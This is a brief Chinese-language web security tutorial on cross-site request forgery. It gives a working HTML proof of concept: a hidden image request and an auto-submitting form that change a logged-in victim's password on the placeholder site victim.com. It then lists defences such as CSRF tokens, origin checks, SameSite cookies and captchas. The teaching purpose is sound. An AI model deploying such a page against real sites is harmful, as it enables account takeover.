一、如何发起一次CSRF攻击
原理：CSRF 的本质实际上是利用了 Cookie 会自动在请求中携带的特性，通过伪造请求来执行恶意操作。
1、目标网站信息：
接口地址：https://victim.com/change-password
请求类型：get/post
接受参数：password
2、编写一个网页
html
<!DOCTYPE html>
<html>
<body>
<!-- GET类型的CSRF -->
<img src="https://victim.com/change-password?password=vme50">
<!-- POST类型的CSRF -->
<form action="https://victim.com/change-password" method=POST>
<input type="hidden" name="password" value="vme50" />
</form>
<script> document.forms[0].submit(); </script>
</body>
</html>3、诱导用户打开我们的网页
用户在已经登录了https://victim.com这个网站的情况下打开我们的网站，代码会自动发起网络请求，将受害者的账号密码修改为我们设置的值
二、防护策略
1、使用 CSRF Token（推荐）：
在每个表单提交或敏感操作中包含一个随机生成的 CSRF Token，并将其与用户的会话关联起来。
服务器在接收到请求时验证 CSRF Token 的有效性，如果不匹配，则拒绝请求。
这样可以防止攻击者伪造请求，因为攻击者无法获取有效的 CSRF Token。
2、同源检测：
① 验证请求头：在服务器端验证请求头中的 Referer 字段或 Origin 字段，确保请求来自合法的源
② 验证域名：在服务器端对请求进行同源检测，只接受来自同一域名下的请求
③ 对在本域发起的攻击无效
3、设置 SameSite Cookie 属性：
将敏感的 Cookie 设置为 SameSite 属性为 Strict 或 Lax，限制其在跨站点请求中的发送，从而减少 CSRF 攻击的风险。
4、二次确认
① 验证码：对于敏感操作，可以要求用户输入验证码进行验证，以确保请求是由真实用户发起的